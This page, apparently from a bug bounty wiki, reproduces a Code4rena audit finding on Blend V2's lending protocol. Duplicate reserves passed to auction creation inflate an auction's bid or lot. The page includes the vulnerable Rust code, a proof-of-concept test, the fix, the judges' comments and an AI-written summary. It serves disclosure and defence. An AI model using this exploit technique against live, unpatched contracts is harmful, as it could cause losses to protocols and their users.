Skip to content
Business logic Audit finding Intermediate

Users can create overpriced bad debt and interest auctions by providing duplicate reserves

The auction creation functions did not check for duplicate reserves in the provided lot, allowing an attacker to inflate the auction's value by repeating the same reserve multiple times. This could create overpriced interest or bad debt auctions, potentially causing losses for the protocol or fillers.

0xAlix2 Follow with 0x007, 0xadrii and 6 others

Originally disclosed on Code4rena

Submitted by 0xAlix2, also found by 0x007, 0xadrii, 0xtheauditor, aldarion, klau5, oakcobalt, slylandro_star and Testerbot

When some interest/credit accumulates for a certain reserve, users can create an auction for that credit, in return for some backstop tokens that would be donated to the backstop pool, this could be done by calling create_interest_auction_data. This function checks the available credit for the provided reserves and computes the value of the whole credit in USDC, the amount of backstop tokens; i.e., the bid is calculated as a percentage of the USDC value.

https://github.com/code-423n4/2025-02-blend/blob/main/blend-contracts-v2/pool/src/auctions/backstop_interest_auction.rs#L76-L84

let backstop_token_value_base =
    (pool_backstop_data
        .usdc
        .fixed_mul_floor(e, &oracle_scalar, &SCALAR_7)
        * 5)
    .fixed_div_floor(e, &pool_backstop_data.tokens, &SCALAR_7);
let bid_amount = interest_value
    .fixed_mul_floor(e, &1_2000000, &SCALAR_7)
    .fixed_div_floor(e, &backstop_token_value_base, &SCALAR_7);

The issue is that the protocol is looping through the provided assets, grabbing the value, and scaling it to USDC. However, the issue is that it doesn’t check for duplicates.

https://github.com/code-423n4/2025-02-blend/blob/main/blend-contracts-v2/pool/src/auctions/backstop_interest_auction.rs#L41-L57

// validate and create lot auction data
let mut interest_value = 0; // expressed in the oracle's decimals
for lot_asset in lot {
    // don't store updated reserve data back to ledger. This will occur on the the auction's fill.
    // `load_reserve` will panic if the reserve does not exist
    let reserve = pool.load_reserve(e, &lot_asset, false);
    if reserve.data.backstop_credit > 0 {
        let asset_to_base = pool.load_price(e, &reserve.asset);
        interest_value += i128(asset_to_base).fixed_mul_floor(
            e,
            &reserve.data.backstop_credit,
            &reserve.scalar,
        );
        auction_data
            .lot
            .set(reserve.asset, reserve.data.backstop_credit);
    }
}

This allows anyone to create an interest auction with a very low amount of credit (lot) for a very high amount of backstop tokens (bid), easily bypassing the minimum interest value check here.

For example, if a reserve has a credit that is worth $100, it could be passed 10 times in the lot and create an interest auction that is worth $1000 of credit.

NB: This issue also exists when creating a bad debt auction, here.

Proof of Concept

Add the following test in blend-contracts-v2/pool/src/auctions/backstop_interest_auction.rs:

#[test]
fn test_overpriced_auction() {
    let e = Env::default();
    e.mock_all_auths();
    e.cost_estimate().budget().reset_unlimited(); // setup exhausts budget

    e.ledger().set(LedgerInfo {
        timestamp: 12345,
        protocol_version: 22,
        sequence_number: 50,
        network_id: Default::default(),
        base_reserve: 10,
        min_temp_entry_ttl: 10,
        min_persistent_entry_ttl: 10,
        max_entry_ttl: 3110400,
    });

    let bombadil = Address::generate(&e);

    let pool_address = create_pool(&e);
    let (usdc_id, _) = testutils::create_token_contract(&e, &bombadil);
    let (blnd_id, _) = testutils::create_blnd_token(&e, &pool_address, &bombadil);

    let (backstop_token_id, _) = create_comet_lp_pool(&e, &bombadil, &blnd_id, &usdc_id);
    let (backstop_address, backstop_client) =
        testutils::create_backstop(&e, &pool_address, &backstop_token_id, &usdc_id, &blnd_id);
    backstop_client.deposit(&bombadil, &pool_address, &(50 * SCALAR_7));
    let (oracle_id, oracle_client) = testutils::create_mock_oracle(&e);

    let (underlying_0, _) = testutils::create_token_contract(&e, &bombadil);
    let (mut reserve_config_0, mut reserve_data_0) = testutils::default_reserve_meta();
    reserve_data_0.last_time = 12345;
    reserve_data_0.backstop_credit = 100_0000000;
    reserve_data_0.b_supply = 1000_0000000;
    reserve_data_0.d_supply = 750_0000000;
    reserve_config_0.index = 0;
    testutils::create_reserve(
        &e,
        &pool_address,
        &underlying_0,
        &reserve_config_0,
        &reserve_data_0,
    );

    let (underlying_1, _) = testutils::create_token_contract(&e, &bombadil);
    let (mut reserve_config_1, mut reserve_data_1) = testutils::default_reserve_meta();
    reserve_data_1.last_time = 12345;
    reserve_data_1.backstop_credit = 25_0000000;
    reserve_data_1.b_supply = 250_0000000;
    reserve_data_1.d_supply = 187_5000000;
    reserve_config_1.index = 1;
    testutils::create_reserve(
        &e,
        &pool_address,
        &underlying_1,
        &reserve_config_1,
        &reserve_data_1,
    );

    oracle_client.set_data(
        &bombadil,
        &Asset::Other(Symbol::new(&e, "USD")),
        &vec![
            &e,
            Asset::Stellar(underlying_0.clone()),
            Asset::Stellar(underlying_1.clone()),
            Asset::Stellar(usdc_id.clone()),
        ],
        &7,
        &300,
    );
    oracle_client.set_price_stable(&vec![&e, 2_0000000, 4_0000000, 1_0000000]);

    e.as_contract(&pool_address, || {
        storage::set_pool_config(
            &e,
            &PoolConfig {
                oracle: oracle_id,
                min_collateral: 1_0000000,
                bstop_rate: 0_1000000,
                status: 0,
                max_positions: 4,
            },
        );

        // Create a normal auction with U0 and U1 reserves
        let mut auction = create_interest_auction_data(
            &e,
            &backstop_address,
            &vec![&e, backstop_token_id.clone()],
            &vec![&e, underlying_0.clone(), underlying_1.clone()],
            100,
        );

        // bid is 288 tokens
        assert_eq!(
            auction.bid.get(backstop_token_id.clone()).unwrap(),
            288_0000000
        );

        // Manually delete the auction
        storage::del_auction(
            &e,
            &(AuctionType::InterestAuction as u32),
            &backstop_address,
        );

        // Create an overpriced auction with U0 and U1 reserves * 2
        auction = create_interest_auction_data(
            &e,
            &backstop_address,
            &vec![&e, backstop_token_id.clone()],
            &vec![
                &e,
                underlying_0.clone(),
                underlying_1.clone(),
                underlying_0.clone(),
                underlying_1.clone(),
            ],
            100,
        );

        // bid is 576 tokens (288 * 2)
        assert_eq!(auction.bid.get(backstop_token_id).unwrap(), 576_0000000);
    });
}

Recommended mitigation steps

Check and don’t allow duplicate reserves when looping over the provided reserves in both create_interest_auction_data and create_bad_debt_auction_data, by having something similar to:

    // validate and create lot auction data
    let mut interest_value = 0; // expressed in the oracle's decimals
+   let mut seen_assets: soroban_sdk::Map<Address, bool> = map![e];
    for lot_asset in lot {
+       if seen_assets.contains_key(lot_asset.clone()) {
+           panic_with_error!(e, PoolError::InvalidLot);
+       }
+       seen_assets.set(lot_asset.clone(), true);
        // don't store updated reserve data back to ledger. This will occur on the the auction's fill.
        // `load_reserve` will panic if the reserve does not exist
        let reserve = pool.load_reserve(e, &lot_asset, false);
        if reserve.data.backstop_credit > 0 {
            let asset_to_base = pool.load_price(e, &reserve.asset);
            interest_value += i128(asset_to_base).fixed_mul_floor(
                e,
                &reserve.data.backstop_credit,
                &reserve.scalar,
            );
            auction_data
                .lot
                .set(reserve.asset, reserve.data.backstop_credit);
        }
    }

mootz12 (Script3) confirmed and commented:

Validated this is a finding.

In my opinion, the impact is low for bad debt, and low/medium for interest auction. The auction system is price resistant, but not completely safe from this exploit. When an auction is sufficiently imbalanced, the step size of 0.5% is too large to allow fillers to get the “best” price. However, the exploit path is limited by the max_positions variable (recommended max of 10). Let’s assume someone sets up a pool with 15 max positions.

In conjunction it could qualify for a medium, given there is SOME risk of bad pricing / loss, though unlikely.

Bad Debt Auction

This is a low because the auction creator can inflate the “lot” of the auction (tokens a filler receives), but it is much less likely to occur. With 15 max positions, the worst an auction could be setup as is with 15 duplicate bid assets:

-> bid = 1 BID -> lot = 15 BID

Thus, the breakeven fill block would be block 14: -> bid = 1 BID * 100% = 1 BID -> lot = 15 BID * 7% = 1.05 BID

Thus, the filler has adequate time to fill an auction. There is some risk that that the step size of being too large, where each block the price gets worse for the backstop gets 7.5% worse (15x * 0.5% step).

Interest Auction

This is a low because the auction creator can only inflate the “bid” of the auction (tokens a filler pays). With 15 max positions, the worst an auction could be setup as is for is with 15 duplicate lot assets:

-> bid = 15 LOT -> lot = 1 LOT

Thus, the breakeven fill block would be block 387: -> bid = 15 LOT * (100% - 93.5%) = 0.975 LOT -> lot = 1 LOT * 100% = 1 LOT

Thus, the filler has adequate time to fill the auction. The step size risk still exists here, but this has a slightly worse issue, where if the auction does not get filled before block 400 (only 13 blocks away), the lot is given away for free.

LSDan (judge) commented:

Medium is reasonable, in my opinion.

Blend mitigated:

Commit fc6a2af to block duplicate auction assets.

Status: Mitigation confirmed. Full details in reports from 0x007, 0xAlix2, Testerbot and oakcobalt.


The original report as published on Code4rena, by 0xAlix2. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could create auctions with inflated bids or lots, potentially leading to bad pricing or loss for the protocol or fillers, though the impact is limited by the max_positions variable and the auction's price resistance.

What the attacker needed

Ability to call auction creation function; A reserve with backstop_credit > 0; max_positions > 1

How it was found

  1. Call create_interest_auction_data with a lot containing duplicate reserves.
  2. Observe that the computed bid amount is multiplied by the number of duplicates.
  3. The auction is created with an inflated bid (or lot) compared to the actual credit.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In a lending protocol, auctions are used to sell off bad debt or accumulated interest. The code that sets up these auctions takes a list of reserves (assets) and calculates the total value. If the same reserve is listed multiple times, the code adds its value each time, making the auction appear more valuable than it really is. This could let someone create an auction with a misleading price, potentially cheating other participants or the protocol.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0xAlix2

View all

39 more disclosed reports, best first.

More from Blend V2 Audit + Certora Formal Verification

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.